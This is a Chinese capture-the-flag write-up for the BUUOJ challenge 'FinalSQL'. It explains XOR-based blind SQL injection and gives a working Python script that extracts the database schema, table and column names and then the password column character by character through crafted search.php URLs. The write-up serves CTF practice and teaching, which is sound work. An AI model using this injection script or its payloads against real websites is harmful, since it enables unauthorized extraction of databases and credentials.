[极客大挑战 2019]FinalSQL



用异或来注入

注入语句为1是error,为0时为check

?id=1^(length(database())=5)

写盲注脚本

这道题有点坑,首先是表名有两个,一个特别想flag,还有一个就是需要多线程,但是由于是python的,也没有那么必要等一会就出来了

import requests

flag = ""
i = 0

while True:
    head = 127
    tail = 32
    i += 1

    while tail < head:
        mid = (head + tail) // 2
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),{i},1))>{mid})--+"
        # url = f"http://0781b439-5ece-442b-a082-731016be580f.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{i},1))>{mid})--+"
        url = f"http://3f5e5555-232e-48d1-bae5-64b59f257a76.node5.buuoj.cn:81/search.php?id=1^(ascii(substr((Select(group_concat(password))from(F1naI1y)),{i},1))>{mid})--+"

        r = requests.get(url=url)
        if 'ERROR' in r.text:
            tail = mid + 1
        else:
            head = mid

    if tail != 32:
        flag += chr(tail)

    else:
        break
    print(flag)
相关推荐
qq_308703112 小时前
LinkedIn – 3ds Max 2025 Essential Training 中文字幕
经验分享·3d
鲨鱼辣椒ii2 小时前
sql中索引查看是否生效
数据库·sql
開_punk2558_發3 小时前
开源 XDR/SIEM 安全平台,附下载链接
安全·web安全·网络安全·渗透测试·漏洞挖掘·漏洞检测·xdr
网安大师兄3 小时前
如何逼自己自学三个月——网络安全(黑客技术)
网络·sql·学习·安全·web安全·网络安全
WPG大大通4 小时前
新能源汽车BMS 学习笔记篇—AFE 菊花链通信中电容隔离 & 电感隔离的使用
网络·经验分享·笔记·汽车·新能源·bms
凌晨五点的星5 小时前
网络安全-dom破坏结合jq漏洞以及框架漏洞造成的xss-World War 3
安全·web安全
Peterpan000005 小时前
CTF——简单的《WEB》
linux·经验分享·笔记·安全·网络安全
鲨鱼辣椒丶D7 小时前
「漏洞复现」通天星CMSV6车载定位监控平台 getAlarmAppealByGuid SQL注入漏洞
web安全
生活健康馆7 小时前
赵进喜:不透析、不用肾移植,“三维护肾”巧治尿毒症
经验分享·健康医疗